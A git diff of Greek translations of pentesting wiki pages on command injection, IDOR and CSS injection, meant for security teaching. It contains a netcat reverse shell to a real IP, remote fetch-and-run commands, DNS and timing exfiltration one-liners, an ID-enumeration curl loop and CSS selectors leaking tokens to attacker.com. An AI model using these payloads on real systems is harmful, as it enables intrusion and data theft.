@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Παρακάμψεις Περιορισμών**
|
||||
|
||||
Αν προσπαθείτε να εκτελέσετε **αυθαίρετες εντολές μέσα σε ένα linux μηχάνημα**, θα σας ενδιαφέρει να διαβάσετε για αυτές τις **παρακάμψεις:**
|
||||
### **Περιορισμοί** Παρακάμψεις
|
||||
|
||||
Αν προσπαθείτε να εκτελέσετε **οποιαδήποτε εντολή σε linux μηχάνημα**, μπορεί να σας ενδιαφέρει να διαβάσετε για αυτές τις **Παρακάμψεις:**
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
@ -45,9 +44,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||||
```
|
||||
### Parameters
|
||||
### Παράμετροι
|
||||
|
||||
Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και σε παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +76,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
Εξαγωγή δεδομένων: char by char
|
||||
Εξαγωγή δεδομένων: χαρακτήρα ανά χαρακτήρα
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -91,7 +90,7 @@ sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
|
||||
Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin`, επίσης φιλοξενούμενο στο dnsbin.zhack.ca
|
||||
Βασίζεται στο εργαλείο από `https://github.com/HoLyVieR/dnsbin`, το οποίο φιλοξενείται επίσης στο dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,12 +100,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Διαδικτυακά εργαλεία για τον έλεγχο εξαγωγής δεδομένων μέσω DNS:
|
||||
Διαδικτυακά εργαλεία για έλεγχο για DNS based data exfiltration:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Παράκαμψη φίλτρων
|
||||
### Filtering bypass
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Όταν ελέγχετε back-ends σε JavaScript/TypeScript, θα συναντήσετε συχνά το Node.js `child_process` API.
|
||||
Κατά τον έλεγχο JavaScript/TypeScript back-ends, θα συναντάτε συχνά το Node.js `child_process` API.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδική σημασία για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συνενώνεται στη συμβολοσειρά.
|
||||
`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα έχει ως αποτέλεσμα **command injection** όταν η είσοδος του χρήστη συνενώνεται στη συμβολοσειρά.
|
||||
|
||||
**Mitigation:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell:
|
||||
**Mitigation:** χρησιμοποιήστε `execFile()` (ή `spawn()` χωρίς την `shell` επιλογή) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται το shell:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,9 +139,9 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Πραγματικό περιστατικό: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη αυθεντικοποιημένου WebSocket event που τοποθέτησε στον `id_user` δεδομένα υπό τον έλεγχο του επιτιθέμενου, τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
|
||||
Πραγματικό περιστατικό: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη-επαληθευμένου WebSocket event που τοποθέτησε δεδομένα υπό τον έλεγχο του attacker στο `id_user`, τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
## Brute-Force Λίστα Ανίχνευσης
|
||||
## Brute-Force Detection List
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -2,22 +2,23 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν identifier που μπορεί να ελεγχθεί από τον χρήστη και ο οποίος χρησιμοποιείται **directly** για να προσπελάσει ένα εσωτερικό αντικείμενο **without verifying that the caller is authorized** να προσπελάσει/τροποποιήσει αυτό το αντικείμενο. Η επιτυχής εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη αύξηση προνομίων, όπως την ανάγνωση ή τροποποίηση δεδομένων άλλων χρηστών και, στη χειρότερη περίπτωση, πλήρη takeover λογαριασμού ή μαζική εξαγωγή δεδομένων.
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν αναγνωριστικό που ελέγχεται από τον χρήστη και ο οποίος χρησιμοποιείται **απευθείας** για πρόσβαση σε ένα εσωτερικό αντικείμενο **χωρίς να επαληθεύει ότι ο καλών έχει εξουσιοδότηση** να έχει πρόσβαση/τροποποίηση σε αυτό το αντικείμενο.
|
||||
Η επιτυχημένη εκμετάλλευση συνήθως επιτρέπει horizontal or vertical privilege-escalation, όπως το να διαβάσει ή να τροποποιήσει δεδομένα άλλων χρηστών και, στη χειρότερη περίπτωση, full account takeover ή mass-data exfiltration.
|
||||
|
||||
---
|
||||
## 1. Εντοπισμός πιθανών IDORs
|
||||
|
||||
1. Αναζητήστε **παραμέτρους που αναφέρονται σε αντικείμενο**:
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Προτιμήστε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Σημειώστε πότε οι identifiers είναι **αύξοντες ή προβλέψιμοι** – αν το ID σας είναι `64185742`, τότε το `64185741` πιθανότατα υπάρχει.
|
||||
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. *"Paradox team members"* link στις σελίδες login) που μπορεί να αποκαλύψουν επιπλέον APIs.
|
||||
5. Χρησιμοποιήστε μια **authenticated low-privilege session** και αλλάξτε μόνο το ID **κρατώντας το ίδιο token/cookie**. Η απουσία σφάλματος authorization είναι συνήθως ένδειξη IDOR.
|
||||
1. Αναζητήστε **παραμέτρους που αναφέρονται σε ένα αντικείμενο**:
|
||||
* Διαδρομή: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Ερώτημα: `?id=42`, `?invoice=2024-00001`
|
||||
* Σώμα / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Κεφαλίδες / Cookies: `X-Client-ID: 4711`
|
||||
2. Δώστε προτεραιότητα σε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Σημειώστε πότε οι αναγνωριστικοί είναι **σειριακοί ή προβλέψιμοι** – αν το ID σας είναι `64185742`, τότε `64185741` πιθανότατα υπάρχει.
|
||||
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. σύνδεσμος *"Paradox team members"* σε σελίδες login) που μπορεί να αποκαλύψουν επιπλέον APIs.
|
||||
5. Χρησιμοποιήστε μια **authenticated low-privilege session** και αλλάξτε μόνο το ID **κρατώντας το ίδιο token/cookie**. Η απουσία σφάλματος εξουσιοδότησης συνήθως είναι ένδειξη IDOR.
|
||||
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
### Γρήγορος χειροκίνητος χειρισμός (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
@ -26,7 +27,7 @@ Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Αυτοματοποιημένη απαρίθμηση (Burp Intruder / curl loop)
|
||||
### Αυτοματοποιημένη enumeration (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
@ -42,28 +43,28 @@ done
|
||||
Όταν ένα download endpoint δέχεται τόσο ένα username όσο και ένα filename (π.χ. `/view.php?username=<u>&file=<f>`), μικρές διαφορές στα μηνύματα σφάλματος συχνά δημιουργούν ένα oracle:
|
||||
|
||||
- Μη υπάρχον username → "User not found"
|
||||
- Λανθασμένο filename αλλά έγκυρη επέκταση → "File does not exist" (μερικές φορές εμφανίζει επίσης διαθέσιμα αρχεία)
|
||||
- Λανθασμένη επέκταση → validation error
|
||||
- Κακό filename αλλά έγκυρη extension → "File does not exist" (μερικές φορές επίσης εμφανίζει διαθέσιμα αρχεία)
|
||||
- Κακή extension → validation error
|
||||
|
||||
Με οποιαδήποτε επαληθευμένη συνεδρία, μπορείτε να fuzz την παράμετρο username κρατώντας ένα αβλαβές όνομα αρχείου και να φιλτράρετε με βάση το string "user not found" για να ανακαλύψετε έγκυρους χρήστες:
|
||||
Με οποιαδήποτε authenticated session, μπορείτε να fuzz το username parameter ενώ κρατάτε ένα benign filename και να φιλτράρετε με βάση το "user not found" string για να ανακαλύψετε valid users:
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
Μόλις εντοπιστούν έγκυρα ονόματα χρήστη, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., `/view.php?username=amanda&file=privacy.odt`). Αυτό το μοτίβο συχνά οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη των εγγράφων άλλων χρηστών και σε credential leakage.
|
||||
Μόλις εντοπιστούν έγκυρα ονόματα χρήστη, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., `/view.php?username=amanda&file=privacy.odt`). Αυτό το μοτίβο συχνά οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη εγγράφων άλλων χρηστών και credential leakage.
|
||||
|
||||
---
|
||||
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
|
||||
## 2. Πραγματική Μελέτη Περίπτωσης – McHire Chatbot Platform (2025)
|
||||
|
||||
Κατά την αξιολόγηση της πύλης προσλήψεων **McHire** που τροφοδοτείται από Paradox.ai, εντοπίστηκε το ακόλουθο IDOR:
|
||||
Κατά την αξιολόγηση του Paradox.ai-powered **McHire** recruitment portal, εντοπίστηκε το ακόλουθο IDOR:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: cookie συνεδρίας χρήστη για **οποιονδήποτε** test account εστιατορίου
|
||||
* Body parameter: `{"lead_id": N}` – 8-ψήφιος, **ακολουθιακός** αριθμητικός αναγνωριστικός
|
||||
* Authorization: user session cookie for **any** restaurant test account
|
||||
* Body parameter: `{"lead_id": N}` – 8-ψήφιος, **σειριακός** αριθμητικός αναγνωριστής
|
||||
|
||||
Μειώνοντας το `lead_id`, ο δοκιμαστής απέκτησε πλήρες PII τυχαίων υποψηφίων (όνομα, e-mail, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα consumer **JWT** που επέτρεψε session hijacking. Η απαρίθμηση του εύρους `1 – 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** εγγραφές.
|
||||
Μειώνοντας το `lead_id` ο ελεγκτής απέκτησε αυθαίρετα το **πλήρες PII** των υποψηφίων (name, e-mail, phone, address, shift preferences) καθώς και ένα καταναλωτικό **JWT** που επέτρεψε session hijacking. Η καταμέτρηση του εύρους `1 – 64,185,742` αποκάλυψε περίπου **64 million** records.
|
||||
|
||||
Proof-of-Concept request:
|
||||
```bash
|
||||
@ -71,23 +72,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Σε συνδυασμό με **default admin credentials** (`123456:123456`) που παρείχαν πρόσβαση στον test account, η ευπάθεια οδήγησε σε κρίσιμη, εταιρικής κλίμακας διαρροή δεδομένων.
|
||||
Σε συνδυασμό με **default admin credentials** (`123456:123456`) που παρείχαν πρόσβαση στον δοκιμαστικό λογαριασμό, η ευπάθεια οδήγησε σε κρίσιμη παραβίαση δεδομένων σε επίπεδο εταιρείας.
|
||||
|
||||
---
|
||||
## 3. Επιπτώσεις του IDOR / BOLA
|
||||
* Horizontal escalation – ανάγνωση/ενημέρωση/διαγραφή δεδομένων **άλλων χρηστών**.
|
||||
* Vertical escalation – χρήστης με χαμηλά προνόμια αποκτά admin-only functionality.
|
||||
* Μαζική διαρροή δεδομένων αν οι ταυτοποιητές είναι ακολουθιακοί (π.χ., applicant IDs, invoices).
|
||||
* Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή δεδομένων **άλλων χρηστών**.
|
||||
* Κάθετη κλιμάκωση – χρήστης με χαμηλά προνόμια αποκτά λειτουργίες μόνο για admin.
|
||||
* Μαζική παραβίαση δεδομένων αν τα αναγνωριστικά είναι διαδοχικά (π.χ., applicant IDs, invoices).
|
||||
* Κατάληψη λογαριασμού με κλοπή tokens ή επαναφορά κωδικών άλλων χρηστών.
|
||||
|
||||
---
|
||||
## 4. Μετριασμοί & Καλές Πρακτικές
|
||||
1. **Εφαρμόστε εξουσιοδότηση σε επίπεδο αντικειμένου** σε κάθε αίτημα (`user_id == session.user`).
|
||||
2. Προτιμήστε **έμμεσα, μη προβλέψιμα αναγνωριστικά** (UUIDv4, ULID) αντί των auto-increment IDs.
|
||||
3. Πραγματοποιείτε την εξουσιοδότηση **από την πλευρά του server**, μην βασίζεστε σε κρυφά πεδία φορμών ή UI controls.
|
||||
4. Εφαρμόστε **RBAC / ABAC** ελέγχους σε ένα κεντρικό middleware.
|
||||
5. Προσθέστε **rate-limiting & logging** για να εντοπίζετε την εξακρίβωση/αρίθμηση των IDs.
|
||||
6. Δοκιμάζετε ασφάλεια κάθε νέο endpoint (unit, integration, and DAST).
|
||||
## 4. Μέτρα μετριασμού & Καλές πρακτικές
|
||||
1. Επιβάλλετε εξουσιοδότηση σε επίπεδο αντικειμένου σε κάθε αίτημα (`user_id == session.user`).
|
||||
2. Προτιμήστε έμμεσα, μη-μάντεψιμα αναγνωριστικά (UUIDv4, ULID) αντί για auto-increment IDs.
|
||||
3. Εκτελέστε την εξουσιοδότηση server-side, μην βασίζεστε σε κρυφά πεδία φορμών ή ελέγχους UI.
|
||||
4. Εφαρμόστε ελέγχους RBAC / ABAC σε ένα κεντρικό middleware.
|
||||
5. Προσθέστε rate-limiting & logging για να ανιχνεύσετε την enumeration αναγνωριστικών.
|
||||
6. Κάντε security tests σε κάθε νέο endpoint (unit, integration, και DAST).
|
||||
|
||||
---
|
||||
## 5. Εργαλεία
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Attribute Selector
|
||||
### Επιλογέας Χαρακτηριστικού
|
||||
|
||||
Οι CSS selectors κατασκευάζονται για να ταιριάζουν με τις τιμές των attributes `name` και `value` ενός στοιχείου `input`. Αν το attribute `value` του στοιχείου `input` ξεκινά με έναν συγκεκριμένο χαρακτήρα, φορτώνεται ένας προκαθορισμένος εξωτερικός πόρος:
|
||||
Οι επιλογείς CSS κατασκευάζονται ώστε να ταιριάζουν με τις τιμές των ιδιοτήτων `name` και `value` ενός στοιχείου `input`. Αν το `value` attribute του στοιχείου `input` ξεκινά με έναν συγκεκριμένο χαρακτήρα, τότε φορτώνεται ένας προεπιλεγμένος εξωτερικός πόρος:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν έχουμε να κάνουμε με κρυφά στοιχεία input (`type="hidden"`), επειδή τα κρυφά στοιχεία δεν φορτώνουν εικόνες φόντου.
|
||||
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν χειρίζεται κρυφά input στοιχεία (`type="hidden"`), επειδή τα κρυφά στοιχεία δεν φορτώνουν εικόνες φόντου.
|
||||
|
||||
#### Παράκαμψη για Κρυφά Στοιχεία
|
||||
|
||||
Για να παρακαμφθεί αυτός ο περιορισμός, μπορείτε να στοχεύσετε ένα επόμενο αδελφικό στοιχείο χρησιμοποιώντας τον `~` γενικό συνδυαστή αδελφικού στοιχείου. Ο κανόνας CSS εφαρμόζεται τότε σε όλα τα αδελφικά στοιχεία που ακολουθούν το κρυφό στοιχείο input, προκαλώντας τη φόρτωση της εικόνας φόντου:
|
||||
Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να στοχεύσετε το επόμενο αδερφικό στοιχείο χρησιμοποιώντας τον γενικό συνδυαστή αδερφικών στοιχείων `~`. Ο κανόνας CSS εφαρμόζεται τότε σε όλα τα αδερφικά στοιχεία που ακολουθούν το κρυφό input στοιχείο, προκαλώντας τη φόρτωση της εικόνας φόντου:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε [εδώ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Προαπαιτούμενα για CSS Injection
|
||||
|
||||
Για να είναι αποτελεσματική η τεχνική CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις:
|
||||
|
||||
1. **Payload Length**: Ο CSS injection vector πρέπει να υποστηρίζει επαρκώς μακρά payloads ώστε να χωράνε οι crafted selectors.
|
||||
2. **CSS Re-evaluation**: Πρέπει να έχετε τη δυνατότητα να frame-άρετε τη σελίδα, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επανααξιολόγηση του CSS με νεοδημιουργημένα payloads.
|
||||
3. **External Resources**: Η τεχνική προϋποθέτει τη δυνατότητα χρήσης εικόνων που φιλοξενούνται εξωτερικά. Αυτό μπορεί να περιορίζεται από την Content Security Policy (CSP) του site.
|
||||
1. **Payload Length**: Το CSS injection vector πρέπει να υποστηρίζει επαρκώς μεγάλα payloads ώστε να χωράνε οι crafted selectors.
|
||||
2. **CSS Re-evaluation**: Θα πρέπει να έχετε τη δυνατότητα να ενσωματώσετε (frame) τη σελίδα, κάτι που είναι απαραίτητο για να προκληθεί η επανεκτίμηση του CSS με νέα payloads.
|
||||
3. **External Resources**: Η τεχνική υποθέτει τη δυνατότητα χρήσης εξωτερικά φιλοξενούμενων εικόνων. Αυτό μπορεί να περιορίζεται από την Content Security Policy (CSP) του ιστότοπου.
|
||||
|
||||
### Blind Attribute Selector
|
||||
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
|
||||
It's also possible to use those selectors to extract information from several block of the same type like in:
|
||||
Όπως [**εξηγείται σε αυτήν την ανάρτηση**](https://portswigger.net/research/blind-css-exfiltration), είναι δυνατόν να συνδυάσετε τους selectors **`:has`** και **`:not`** για να εντοπίσετε περιεχόμενο ακόμα και από blind elements. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι υπάρχει μέσα στη σελίδα που φορτώνει το CSS injection.\
|
||||
Είναι επίσης δυνατό να χρησιμοποιήσετε αυτούς τους selectors για να εξάγετε πληροφορίες από πολλαπλά blocks του ίδιου τύπου όπως στο:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,34 +52,34 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Συνδυάζοντας αυτό με την ακόλουθη τεχνική **@import**, είναι δυνατό να εξαχθούν πολλές **πληροφορίες χρησιμοποιώντας CSS injection από blind pages με** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Συνδυάζοντας αυτό με την ακόλουθη τεχνική **@import**, είναι δυνατόν να εξάγετε πολλές **πληροφορίες χρησιμοποιώντας CSS injection από blind pages με** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
Η προηγούμενη τεχνική έχει ορισμένα μειονεκτήματα — έλεγξε τις προϋποθέσεις. Είτε πρέπει να μπορείς να **στείλεις πολλούς συνδέσμους στο θύμα**, είτε να μπορείς να **iframe the CSS injection vulnerable page**.
|
||||
Η προηγούμενη τεχνική έχει κάποια μειονεκτήματα — έλεγξε τις προαπαιτήσεις. Είτε πρέπει να μπορείς να **send multiple links to the victim**, είτε πρέπει να μπορείς να **iframe the CSS injection vulnerable page**.
|
||||
|
||||
Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί **CSS `@import`** για να βελτιώσει την αποτελεσματικότητα της τεχνικής.
|
||||
Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί **CSS `@import`** για να βελτιώσει την απόδοση της τεχνικής.
|
||||
|
||||
Αυτό παρουσιάστηκε πρώτα από [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) και λειτουργεί ως εξής:
|
||||
Αυτό παρουσιάστηκε πρώτα από τον [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) και λειτουργεί ως εξής:
|
||||
|
||||
Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη μέθοδο), πρόκειται να **φορτώσουμε τη σελίδα μόνο μια φορά και μόνο με ένα import προς τον server του επιτιθέμενου** (αυτό είναι το payload που θα σταλεί στο θύμα):
|
||||
Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη), θα **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. Το import πρόκειται να **λάβει κάποιο CSS script** από τους attackers και ο **browser θα το φορτώσει**.
|
||||
2. Το πρώτο μέρος του CSS script που θα στείλει ο attacker είναι **άλλο ένα `@import` προς τον attackers server ξανά.**
|
||||
1. Ο attackers server δεν θα απαντήσει ακόμα σε αυτό το request, καθώς θέλουμε να leak μερικά chars και μετά να απαντήσουμε αυτό το import με το payload για να leakάρουμε τα επόμενα.
|
||||
1. Ο attackers server δεν θα απαντήσει ακόμα σε αυτό το αίτημα, καθώς θέλουμε να leak μερικούς χαρακτήρες και μετά να απαντήσουμε αυτό το import με το payload για να leak τους επόμενους.
|
||||
3. Το δεύτερο και μεγαλύτερο μέρος του payload θα είναι ένα **attribute selector leakage payload**
|
||||
1. Αυτό θα στείλει στον attackers server τον **πρώτο char του secret και τον τελευταίο**
|
||||
4. Μόλις ο attackers server λάβει τους **πρώτο και τελευταίο char του secret**, θα **απαντήσει στο import που ζητήθηκε στο βήμα 2**.
|
||||
1. Η response θα είναι ακριβώς η ίδια με τα **βήματα 2, 3 και 4**, αλλά αυτή τη φορά θα προσπαθήσει να **βρει τον δεύτερο char του secret και μετά τον προτελευταίο**.
|
||||
1. Αυτό θα στείλει στον attackers server τον **πρώτο χαρακτήρα του μυστικού και τον τελευταίο**
|
||||
4. Μόλις ο attackers server λάβει τον **πρώτο και τον τελευταίο χαρακτήρα του μυστικού**, θα **απαντήσει στο import που ζητήθηκε στο βήμα 2**.
|
||||
1. Η απάντηση θα είναι ακριβώς η ίδια με τα **βήματα 2, 3 και 4**, αλλά αυτή τη φορά θα προσπαθήσει να **βρει τον δεύτερο χαρακτήρα του μυστικού και μετά τον προτελευταίο**.
|
||||
|
||||
Ο attacker θα f**ollow that loop until it manages to leak completely the secret**.
|
||||
Ο attacker θα ακολουθήσει αυτό το loop μέχρι να καταφέρει να leak εντελώς το μυστικό.
|
||||
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
Μπορείτε να βρείτε τον αρχικό [**κώδικα του Pepe Vila για την εκμετάλλευση αυτού εδώ**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ή μπορείτε να βρείτε σχεδόν τον [**ίδιο κώδικα αλλά σχολιασμένο εδώ**.](#css-injection)
|
||||
|
||||
> [!TIP]
|
||||
> Το script θα προσπαθήσει να ανακαλύψει 2 chars κάθε φορά (από την αρχή και από το τέλος) επειδή ο attribute selector επιτρέπει να γίνουν πράγματα όπως:
|
||||
> Το script θα προσπαθήσει να ανακαλύψει 2 chars κάθε φορά (από την αρχή και από το τέλος) επειδή ο attribute selector επιτρέπει να γίνει κάτι όπως:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= to match the beggining of the value*/
|
||||
@ -93,11 +93,11 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Αυτό επιτρέπει στο script να leakάρει το secret πιο γρήγορα.
|
||||
> Αυτό επιτρέπει στο script να leak το μυστικό πιο γρήγορα.
|
||||
|
||||
> [!WARNING]
|
||||
> Μερικές φορές το script **δεν ανιχνεύει σωστά ότι το prefix + suffix που έχει ανακαλυφθεί είναι ήδη το πλήρες flag** και θα συνεχίσει προς τα εμπρός (στο prefix) και προς τα πίσω (στο suffix) και σε κάποιο σημείο θα κολλήσει.\
|
||||
> Χωρίς ανησυχία, απλώς έλεγξε το **output** γιατί **μπορείς να δεις το flag εκεί**.
|
||||
> Κάποιες φορές το script **δεν ανιχνεύει σωστά ότι το prefix + suffix που ανακαλύφθηκαν είναι ήδη το πλήρες flag** και θα συνεχίσει προς τα εμπρός (στο prefix) και προς τα πίσω (στο suffix) και κάποια στιγμή θα κολλήσει.\
|
||||
> Μην ανησυχείτε, απλώς ελέγξτε την **έξοδο** γιατί **μπορείτε να δείτε εκεί το flag**.
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
@ -106,10 +106,10 @@ This primitive enables exfiltration using only an element's inline style attribu
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
|
||||
- Sink: έλεγξε το element's style attribute και βεβαιώσου ότι το target attribute είναι στο ίδιο element (attr() διαβάζει μόνο same-element attributes).
|
||||
